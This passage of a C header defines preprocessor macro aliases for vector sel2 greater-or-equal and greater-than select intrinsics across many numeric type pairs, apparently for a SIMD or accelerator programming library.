(ushort128_pair_t){0}, 1, 0)\n#define v_u16_u16_sel2_geq_v_s_v_v v_u16_u16_sel2_geq_v_v_v_v\n#define v_u16_u16_sel2_geq_v_v_v_s v_u16_u16_sel2_geq_v_v_v_v\n\n#define v_u16_u16_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_geq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel2_geq_v_s_v_v_vb v_u16_u16_sel2_geq_v_v_v_v_vb\n#define v_u16_u16_sel2_geq_v_v_v_s_vb v_u16_u16_sel2_geq_v_v_v_v_vb\n\n// i8 - i8\n#define v_i8_i8_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel2_geq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel2_geq_v_s_v_v_b v_i8_i8_sel2_geq_v_v_v_v_b\n#define v_i8_i8_sel2_geq_v_v_v_s_b v_i8_i8_sel2_geq_v_v_v_v_b\n#define v_i8_i8_sel2_geq_v_v_v_v(a, b, c, d) v_i8_i8_sel2_geq_v_v_v_v_b(a, b, c, d, (char256_pair_t){0}, 1, 0)\n#define v_i8_i8_sel2_geq_v_s_v_v v_i8_i8_sel2_geq_v_v_v_v\n#define v_i8_i8_sel2_geq_v_v_v_s v_i8_i8_sel2_geq_v_v_v_v\n\n#define v_i8_i8_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel2_geq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel2_geq_v_s_v_v_vb v_i8_i8_sel2_geq_v_v_v_v_vb\n#define v_i8_i8_sel2_geq_v_v_v_s_vb v_i8_i8_sel2_geq_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_u8_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel2_geq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel2_geq_v_s_v_v_b v_i8_u8_sel2_geq_v_v_v_v_b\n#define v_i8_u8_sel2_geq_v_v_v_s_b v_i8_u8_sel2_geq_v_v_v_v_b\n#define v_i8_u8_sel2_geq_v_v_v_v(a, b, c, d) v_i8_u8_sel2_geq_v_v_v_v_b(a, b, c, d, (uchar256_char256_pair_t){0}, 1, 0)\n#define v_i8_u8_sel2_geq_v_s_v_v v_i8_u8_sel2_geq_v_v_v_v\n#define v_i8_u8_sel2_geq_v_v_v_s v_i8_u8_sel2_geq_v_v_v_v\n\n#define v_i8_u8_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel2_geq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel2_geq_v_s_v_v_vb v_i8_u8_sel2_geq_v_v_v_v_vb\n#define v_i8_u8_sel2_geq_v_v_v_s_vb v_i8_u8_sel2_geq_v_v_v_v_vb\n\n// u8 - i8\n#define v_u8_i8_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel2_geq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel2_geq_v_s_v_v_b v_u8_i8_sel2_geq_v_v_v_v_b\n#define v_u8_i8_sel2_geq_v_v_v_s_b v_u8_i8_sel2_geq_v_v_v_v_b\n#define v_u8_i8_sel2_geq_v_v_v_v(a, b, c, d) v_u8_i8_sel2_geq_v_v_v_v_b(a, b, c, d, (char256_uchar256_pair_t){0}, 1, 0)\n#define v_u8_i8_sel2_geq_v_s_v_v v_u8_i8_sel2_geq_v_v_v_v\n#define v_u8_i8_sel2_geq_v_v_v_s v_u8_i8_sel2_geq_v_v_v_v\n\n#define v_u8_i8_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel2_geq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel2_geq_v_s_v_v_vb v_u8_i8_sel2_geq_v_v_v_v_vb\n#define v_u8_i8_sel2_geq_v_v_v_s_vb v_u8_i8_sel2_geq_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel2_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel2_geq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel2_geq_v_s_v_v_b v_u8_u8_sel2_geq_v_v_v_v_b\n#define v_u8_u8_sel2_geq_v_v_v_s_b v_u8_u8_sel2_geq_v_v_v_v_b\n#define v_u8_u8_sel2_geq_v_v_v_v(a, b, c, d) v_u8_u8_sel2_geq_v_v_v_v_b(a, b, c, d, (uchar256_pair_t){0}, 1, 0)\n#define v_u8_u8_sel2_geq_v_s_v_v v_u8_u8_sel2_geq_v_v_v_v\n#define v_u8_u8_sel2_geq_v_v_v_s v_u8_u8_sel2_geq_v_v_v_v\n\n#define v_u8_u8_sel2_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel2_geq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel2_geq_v_s_v_v_vb v_u8_u8_sel2_geq_v_v_v_v_vb\n#define v_u8_u8_sel2_geq_v_v_v_s_vb v_u8_u8_sel2_geq_v_v_v_v_vb\n\n// SEL2_GRT\n\n// f32 - f32\n#define v_f32_f32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_grt_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel2_grt_v_s_v_v_b v_f32_f32_sel2_grt_v_v_v_v_b\n#define v_f32_f32_sel2_grt_v_v_v_s_b v_f32_f32_sel2_grt_v_v_v_v_b\n#define v_f32_f32_sel2_grt_v_v_v_v(a, b, c, d) v_f32_f32_sel2_grt_v_v_v_v_b(a, b, c, d, (float64_pair_t){0}, 1, 0)\n#define v_f32_f32_sel2_grt_v_s_v_v v_f32_f32_sel2_grt_v_v_v_v\n#define v_f32_f32_sel2_grt_v_v_v_s v_f32_f32_sel2_grt_v_v_v_v\n\n#define v_f32_f32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_grt_f32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_f32_f32_sel2_grt_v_v_v_s_vb v_f32_f32_sel2_grt_v_v_v_v_vb\n#define v_f32_f32_sel2_grt_v_s_v_v_vb v_f32_f32_sel2_grt_v_v_v_v_vb\n\n// f32 - i32\n#define v_f32_i32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_grt_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel2_grt_v_s_v_v_b v_f32_i32_sel2_grt_v_v_v_v_b\n#define v_f32_i32_sel2_grt_v_v_v_s_b v_f32_i32_sel2_grt_v_v_v_v_b\n#define v_f32_i32_sel2_grt_v_v_v_v(a, b, c, d) v_f32_i32_sel2_grt_v_v_v_v_b(a, b, c, d, (int64_float64_pair_t){0}, 1, 0)\n#define v_f32_i32_sel2_grt_v_s_v_v v_f32_i32_sel2_grt_v_v_v_v\n#define v_f32_i32_sel2_grt_v_v_v_s v_f32_i32_sel2_grt_v_v_v_v\n\n#define v_f32_i32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_grt_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel2_grt_v_v_v_s_vb v_f32_i32_sel2_grt_v_v_v_v_vb\n#define v_f32_i32_sel2_grt_v_s_v_v_vb v_f32_i32_sel2_grt_v_v_v_v_vb\n\n// f32 - u32\n#define v_f32_u32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_grt_f32_b(a, b, c, d, 0, i, p, o);\n#define v_f32_u32_sel2_grt_v_s_v_v_b v_f32_u32_sel2_grt_v_v_v_v_b\n#define v_f32_u32_sel2_grt_v_v_v_s_b v_f32_u32_sel2_grt_v_v_v_v_b\n#define v_f32_u32_sel2_grt_v_v_v_v(a, b, c, d) v_f32_u32_sel2_grt_v_v_v_v_b(a, b, c, d, (uint64_float64_pair_t){0}, 1, 0)\n#define v_f32_u32_sel2_grt_v_s_v_v v_f32_u32_sel2_grt_v_v_v_v\n#define v_f32_u32_sel2_grt_v_v_v_s v_f32_u32_sel2_grt_v_v_v_v\n\n#define v_f32_u32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_grt_f32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_f32_u32_sel2_grt_v_s_v_v_vb v_f32_u32_sel2_grt_v_v_v_v_vb\n#define v_f32_u32_sel2_grt_v_v_v_s_vb v_f32_u32_sel2_grt_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_grt_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel2_grt_v_s_v_v_b v_bf16_bf16_sel2_grt_v_v_v_v_b\n#define v_bf16_bf16_sel2_grt_v_v_v_s_b v_bf16_bf16_sel2_grt_v_v_v_v_b\n#define v_bf16_bf16_sel2_grt_v_v_v_v(a, b, c, d) v_bf16_bf16_sel2_grt_v_v_v_v_b(a, b, c, d, (bfloat128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_bf16_sel2_grt_v_s_v_v v_bf16_bf16_sel2_grt_v_v_v_v\n#define v_bf16_bf16_sel2_grt_v_v_v_s v_bf16_bf16_sel2_grt_v_v_v_v\n\n#define v_bf16_bf16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_grt_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o);\n#define v_bf16_bf16_sel2_grt_v_s_v_v_vb v_bf16_bf16_sel2_grt_v_v_v_v_vb\n#define v_bf16_bf16_sel2_grt_v_v_v_s_vb v_bf16_bf16_sel2_grt_v_v_v_v_vb\n\n// bf16 - i16\n#define v_bf16_i16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_grt_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel2_grt_v_s_v_v_b v_bf16_i16_sel2_grt_v_v_v_v_b\n#define v_bf16_i16_sel2_grt_v_v_v_s_b v_bf16_i16_sel2_grt_v_v_v_v_b\n#define v_bf16_i16_sel2_grt_v_v_v_v(a, b, c, d) v_bf16_i16_sel2_grt_v_v_v_v_b(a, b, c, d, (short128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_i16_sel2_grt_v_s_v_v v_bf16_i16_sel2_grt_v_v_v_v\n#define v_bf16_i16_sel2_grt_v_v_v_s v_bf16_i16_sel2_grt_v_v_v_v\n\n#define v_bf16_i16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_grt_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o);\n#define v_bf16_i16_sel2_grt_v_s_v_v_vb v_bf16_i16_sel2_grt_v_v_v_v_vb\n#define v_bf16_i16_sel2_grt_v_v_v_s_vb v_bf16_i16_sel2_grt_v_v_v_v_vb\n\n// bf16 - u16\n#define v_bf16_u16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_grt_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel2_grt_v_s_v_v_b v_bf16_u16_sel2_grt_v_v_v_v_b\n#define v_bf16_u16_sel2_grt_v_v_v_s_b v_bf16_u16_sel2_grt_v_v_v_v_b\n#define v_bf16_u16_sel2_grt_v_v_v_v(a, b, c, d) v_bf16_u16_sel2_grt_v_v_v_v_b(a, b, c, d, (ushort128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_u16_sel2_grt_v_s_v_v v_bf16_u16_sel2_grt_v_v_v_v\n#define v_bf16_u16_sel2_grt_v_v_v_s v_bf16_u16_sel2_grt_v_v_v_v\n\n#define v_bf16_u16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_grt_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel2_grt_v_s_v_v_vb v_bf16_u16_sel2_grt_v_v_v_v_vb\n#define v_bf16_u16_sel2_grt_v_v_v_s_vb v_bf16_u16_sel2_grt_v_v_v_v_vb\n\n// i32 - f32\n#define v_i32_f32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_grt_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel2_grt_v_s_v_v_b v_i32_f32_sel2_grt_v_v_v_v_b\n#define v_i32_f32_sel2_grt_v_v_v_s_b v_i32_f32_sel2_grt_v_v_v_v_b\n#define v_i32_f32_sel2_grt_v_v_v_v(a, b, c, d) v_i32_f32_sel2_grt_v_v_v_v_b(a, b, c, d, (float64_int64_pair_t){0}, 1, 0)\n#define v_i32_f32_sel2_grt_v_s_v_v v_i32_f32_sel2_grt_v_v_v_v\n#define v_i32_f32_sel2_grt_v_v_v_s v_i32_f32_sel2_grt_v_v_v_v\n\n#define v_i32_f32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_grt_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel2_grt_v_s_v_v_vb v_i32_f32_sel2_grt_v_v_v_v_vb\n#define v_i32_f32_sel2_grt_v_v_v_s_vb v_i32_f32_sel2_grt_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_grt_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel2_grt_v_s_v_v_b v_i32_i32_sel2_grt_v_v_v_v_b\n#define v_i32_i32_sel2_grt_v_v_v_s_b v_i32_i32_sel2_grt_v_v_v_v_b\n#define v_i32_i32_sel2_grt_v_v_v_v(a, b, c, d) v_i32_i32_sel2_grt_v_v_v_v_b(a, b, c, d, (int64_pair_t){0}, 1, 0)\n#define v_i32_i32_sel2_grt_v_s_v_v v_i32_i32_sel2_grt_v_v_v_v\n#define v_i32_i32_sel2_grt_v_v_v_s v_i32_i32_sel2_grt_v_v_v_v\n\n#define v_i32_i32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_grt_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel2_grt_v_s_v_v_vb v_i32_i32_sel2_grt_v_v_v_v_vb\n#define v_i32_i32_sel2_grt_v_v_v_s_vb v_i32_i32_sel2_grt_v_v_v_v_vb\n\n// i32 - u32\n#define v_i32_u32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_grt_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel2_grt_v_s_v_v_b v_i32_u32_sel2_grt_v_v_v_v_b\n#define v_i32_u32_sel2_grt_v_v_v_s_b v_i32_u32_sel2_grt_v_v_v_v_b\n#define v_i32_u32_sel2_grt_v_v_v_v(a, b, c, d) v_i32_u32_sel2_grt_v_v_v_v_b(a, b, c, d, (uint64_int64_pair_t){0}, 1, 0)\n#define v_i32_u32_sel2_grt_v_s_v_v v_i32_u32_sel2_grt_v_v_v_v\n#define v_i32_u32_sel2_grt_v_v_v_s v_i32_u32_sel2_grt_v_v_v_v\n\n#define v_i32_u32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_grt_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel2_grt_v_s_v_v_vb v_i32_u32_sel2_grt_v_v_v_v_vb\n#define v_i32_u32_sel2_grt_v_v_v_s_vb v_i32_u32_sel2_grt_v_v_v_v_vb\n\n// u32 - f32\n#define v_u32_f32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_grt_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel2_grt_v_s_v_v_b v_u32_f32_sel2_grt_v_v_v_v_b\n#define v_u32_f32_sel2_grt_v_v_v_s_b v_u32_f32_sel2_grt_v_v_v_v_b\n#define v_u32_f32_sel2_grt_v_v_v_v(a, b, c, d) v_u32_f32_sel2_grt_v_v_v_v_b(a, b, c, d, (float64_uint64_pair_t){0}, 1, 0)\n#define v_u32_f32_sel2_grt_v_s_v_v v_u32_f32_sel2_grt_v_v_v_v\n#define v_u32_f32_sel2_grt_v_v_v_s v_u32_f32_sel2_grt_v_v_v_v\n\n#define v_u32_f32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_grt_u32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_u32_f32_sel2_grt_v_s_v_v_vb v_u32_f32_sel2_grt_v_v_v_v_vb\n#define v_u32_f32_sel2_grt_v_v_v_s_vb v_u32_f32_sel2_grt_v_v_v_v_vb\n\n// u32 - i32\n#define v_u32_i32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_grt_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel2_grt_v_s_v_v_b v_u32_i32_sel2_grt_v_v_v_v_b\n#define v_u32_i32_sel2_grt_v_v_v_s_b v_u32_i32_sel2_grt_v_v_v_v_b\n#define v_u32_i32_sel2_grt_v_v_v_v(a, b, c, d) v_u32_i32_sel2_grt_v_v_v_v_b(a, b, c, d, (int64_uint64_pair_t){0}, 1, 0)\n#define v_u32_i32_sel2_grt_v_s_v_v v_u32_i32_sel2_grt_v_v_v_v\n#define v_u32_i32_sel2_grt_v_v_v_s v_u32_i32_sel2_grt_v_v_v_v\n\n#define v_u32_i32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_grt_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel2_grt_v_s_v_v_vb v_u32_i32_sel2_grt_v_v_v_v_vb\n#define v_u32_i32_sel2_grt_v_v_v_s_vb v_u32_i32_sel2_grt_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_grt_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel2_grt_v_s_v_v_b v_u32_u32_sel2_grt_v_v_v_v_b\n#define v_u32_u32_sel2_grt_v_v_v_s_b v_u32_u32_sel2_grt_v_v_v_v_b\n#define v_u32_u32_sel2_grt_v_v_v_v(a, b, c, d) v_u32_u32_sel2_grt_v_v_v_v_b(a, b, c, d, (uint64_pair_t){0}, 1, 0)\n#define v_u32_u32_sel2_grt_v_s_v_v v_u32_u32_sel2_grt_v_v_v_v\n#define v_u32_u32_sel2_grt_v_v_v_s v_u32_u32_sel2_grt_v_v_v_v\n\n#define v_u32_u32_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_grt_u32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_u32_u32_sel2_grt_v_s_v_v_vb v_u32_u32_sel2_grt_v_v_v_v_vb\n#define v_u32_u32_sel2_grt_v_v_v_s_vb v_u32_u32_sel2_grt_v_v_v_v_vb\n\n// i16 - bf16\n#define v_i16_bf16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_grt_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel2_grt_v_s_v_v_b v_i16_bf16_sel2_grt_v_v_v_v_b\n#define v_i16_bf16_sel2_grt_v_v_v_s_b v_i16_bf16_sel2_grt_v_v_v_v_b\n#define v_i16_bf16_sel2_grt_v_v_v_v(a, b, c, d) v_i16_bf16_sel2_grt_v_v_v_v_b(a, b, c, d, (bfloat128_short128_pair_t){0}, 1, 0)\n#define v_i16_bf16_sel2_grt_v_s_v_v v_i16_bf16_sel2_grt_v_v_v_v\n#define v_i16_bf16_sel2_grt_v_v_v_s v_i16_bf16_sel2_grt_v_v_v_v\n\n#define v_i16_bf16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_grt_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel2_grt_v_s_v_v_vb v_i16_bf16_sel2_grt_v_v_v_v_vb\n#define v_i16_bf16_sel2_grt_v_v_v_s_vb v_i16_bf16_sel2_grt_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_grt_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel2_grt_v_s_v_v_b v_i16_i16_sel2_grt_v_v_v_v_b\n#define v_i16_i16_sel2_grt_v_v_v_s_b v_i16_i16_sel2_grt_v_v_v_v_b\n#define v_i16_i16_sel2_grt_v_v_v_v(a, b, c, d) v_i16_i16_sel2_grt_v_v_v_v_b(a, b, c, d, (short128_pair_t){0}, 1, 0)\n#define v_i16_i16_sel2_grt_v_s_v_v v_i16_i16_sel2_grt_v_v_v_v\n#define v_i16_i16_sel2_grt_v_v_v_s v_i16_i16_sel2_grt_v_v_v_v\n\n#define v_i16_i16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_grt_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel2_grt_v_s_v_v_vb v_i16_i16_sel2_grt_v_v_v_v_vb\n#define v_i16_i16_sel2_grt_v_v_v_s_vb v_i16_i16_sel2_grt_v_v_v_v_vb\n\n// i16 - u16\n#define v_i16_u16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_grt_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel2_grt_v_s_v_v_b v_i16_u16_sel2_grt_v_v_v_v_b\n#define v_i16_u16_sel2_grt_v_v_v_s_b v_i16_u16_sel2_grt_v_v_v_v_b\n#define v_i16_u16_sel2_grt_v_v_v_v(a, b, c, d) v_i16_u16_sel2_grt_v_v_v_v_b(a, b, c, d, (ushort128_short128_pair_t){0}, 1, 0)\n#define v_i16_u16_sel2_grt_v_s_v_v v_i16_u16_sel2_grt_v_v_v_v\n#define v_i16_u16_sel2_grt_v_v_v_s v_i16_u16_sel2_grt_v_v_v_v\n\n#define v_i16_u16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_grt_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel2_grt_v_s_v_v_vb v_i16_u16_sel2_grt_v_v_v_v_vb\n#define v_i16_u16_sel2_grt_v_v_v_s_vb v_i16_u16_sel2_grt_v_v_v_v_vb\n\n// u16 - bf16\n#define v_u16_bf16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_grt_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel2_grt_v_s_v_v_b v_u16_bf16_sel2_grt_v_v_v_v_b\n#define v_u16_bf16_sel2_grt_v_v_v_s_b v_u16_bf16_sel2_grt_v_v_v_v_b\n#define v_u16_bf16_sel2_grt_v_v_v_v(a, b, c, d) v_u16_bf16_sel2_grt_v_v_v_v_b(a, b, c, d, (bfloat128_ushort128_pair_t){0}, 1, 0)\n#define v_u16_bf16_sel2_grt_v_s_v_v v_u16_bf16_sel2_grt_v_v_v_v\n#define v_u16_bf16_sel2_grt_v_v_v_s v_u16_bf16_sel2_grt_v_v_v_v\n\n#define v_u16_bf16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_grt_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel2_grt_v_s_v_v_vb v_u16_bf16_sel2_grt_v_v_v_v_vb\n#define v_u16_bf16_sel2_grt_v_v_v_s_vb v_u16_bf16_sel2_grt_v_v_v_v_vb\n\n// u16 - i16\n#define v_u16_i16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_grt_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel2_grt_v_s_v_v_b v_u16_i16_sel2_grt_v_v_v_v_b\n#define v_u16_i16_sel2_grt_v_v_v_s_b v_u16_i16_sel2_grt_v_v_v_v_b\n#define v_u16_i16_sel2_grt_v_v_v_v(a, b, c, d) v_u16_i16_sel2_grt_v_v_v_v_b(a, b, c, d, (short128_ushort128_pair_t){0}, 1, 0)\n#define v_u16_i16_sel2_grt_v_s_v_v v_u16_i16_sel2_grt_v_v_v_v\n#define v_u16_i16_sel2_grt_v_v_v_s v_u16_i16_sel2_grt_v_v_v_v\n\n#define v_u16_i16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_grt_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel2_grt_v_s_v_v_vb v_u16_i16_sel2_grt_v_v_v_v_vb\n#define v_u16_i16_sel2_grt_v_v_v_s_vb v_u16_i16_sel2_grt_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_grt_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel2_grt_v_s_v_v_b v_u16_u16_sel2_grt_v_v_v_v_b\n#define v_u16_u16_sel2_grt_v_v_v_s_b v_u16_u16_sel2_grt_v_v_v_v_b\n#define v_u16_u16_sel2_grt_v_v_v_v(a, b, c, d) v_u16_u16_sel2_grt_v_v_v_v_b(a, b, c, d, (ushort128_pair_t){0}, 1, 0)\n#define v_u16_u16_sel2_grt_v_s_v_v v_u16_u16_sel2_grt_v_v_v_v\n#define v_u16_u16_sel2_grt_v_v_v_s v_u16_u16_sel2_grt_v_v_v_v\n\n#define v_u16_u16_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_grt_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel2_grt_v_s_v_v_vb v_u16_u16_sel2_grt_v_v_v_v_vb\n#define v_u16_u16_sel2_grt_v_v_v_s_vb v_u16_u16_sel2_grt_v_v_v_v_vb\n\n// i8 - i8\n#define v_i8_i8_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel2_grt_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel2_grt_v_s_v_v_b v_i8_i8_sel2_grt_v_v_v_v_b\n#define v_i8_i8_sel2_grt_v_v_v_s_b v_i8_i8_sel2_grt_v_v_v_v_b\n#define v_i8_i8_sel2_grt_v_v_v_v(a, b, c, d) v_i8_i8_sel2_grt_v_v_v_v_b(a, b, c, d, (char256_pair_t){0}, 1, 0)\n#define v_i8_i8_sel2_grt_v_s_v_v v_i8_i8_sel2_grt_v_v_v_v\n#define v_i8_i8_sel2_grt_v_v_v_s v_i8_i8_sel2_grt_v_v_v_v\n\n#define v_i8_i8_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel2_grt_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel2_grt_v_s_v_v_vb v_i8_i8_sel2_grt_v_v_v_v_vb\n#define v_i8_i8_sel2_grt_v_v_v_s_vb v_i8_i8_sel2_grt_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_u8_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel2_grt_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel2_grt_v_s_v_v_b v_i8_u8_sel2_grt_v_v_v_v_b\n#define v_i8_u8_sel2_grt_v_v_v_s_b v_i8_u8_sel2_grt_v_v_v_v_b\n#define v_i8_u8_sel2_grt_v_v_v_v(a, b, c, d) v_i8_u8_sel2_grt_v_v_v_v_b(a, b, c, d, (uchar256_char256_pair_t){0}, 1, 0)\n#define v_i8_u8_sel2_grt_v_s_v_v v_i8_u8_sel2_grt_v_v_v_v\n#define v_i8_u8_sel2_grt_v_v_v_s v_i8_u8_sel2_grt_v_v_v_v\n\n#define v_i8_u8_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel2_grt_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel2_grt_v_s_v_v_vb v_i8_u8_sel2_grt_v_v_v_v_vb\n#define v_i8_u8_sel2_grt_v_v_v_s_vb v_i8_u8_sel2_grt_v_v_v_v_vb\n\n// u8 - i8\n#define v_u8_i8_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel2_grt_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel2_grt_v_s_v_v_b v_u8_i8_sel2_grt_v_v_v_v_b\n#define v_u8_i8_sel2_grt_v_v_v_s_b v_u8_i8_sel2_grt_v_v_v_v_b\n#define v_u8_i8_sel2_grt_v_v_v_v(a, b, c, d) v_u8_i8_sel2_grt_v_v_v_v_b(a, b, c, d, (char256_uchar256_pair_t){0}, 1, 0)\n#define v_u8_i8_sel2_grt_v_s_v_v v_u8_i8_sel2_grt_v_v_v_v\n#define v_u8_i8_sel2_grt_v_v_v_s v_u8_i8_sel2_grt_v_v_v_v\n\n#define v_u8_i8_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel2_grt_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel2_grt_v_s_v_v_vb v_u8_i8_sel2_grt_v_v_v_v_vb\n#define v_u8_i8_sel2_grt_v_v_v_s_vb v_u8_i8_sel2_grt_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel2_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel2_grt_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel2_grt_v_s_v_v_b v_u8_u8_sel2_grt_v_v_v_v_b\n#define v_u8_u8_sel2_grt_v_v_v_s_b v_u8_u8_sel2_grt_v_v_v_v_b\n#define v_u8_u8_sel2_grt_v_v_v_v(a, b, c, d) v_u8_u8_sel2_grt_v_v_v_v_b(a, b, c, d, (uchar256_pair_t){0}, 1, 0)\n#define 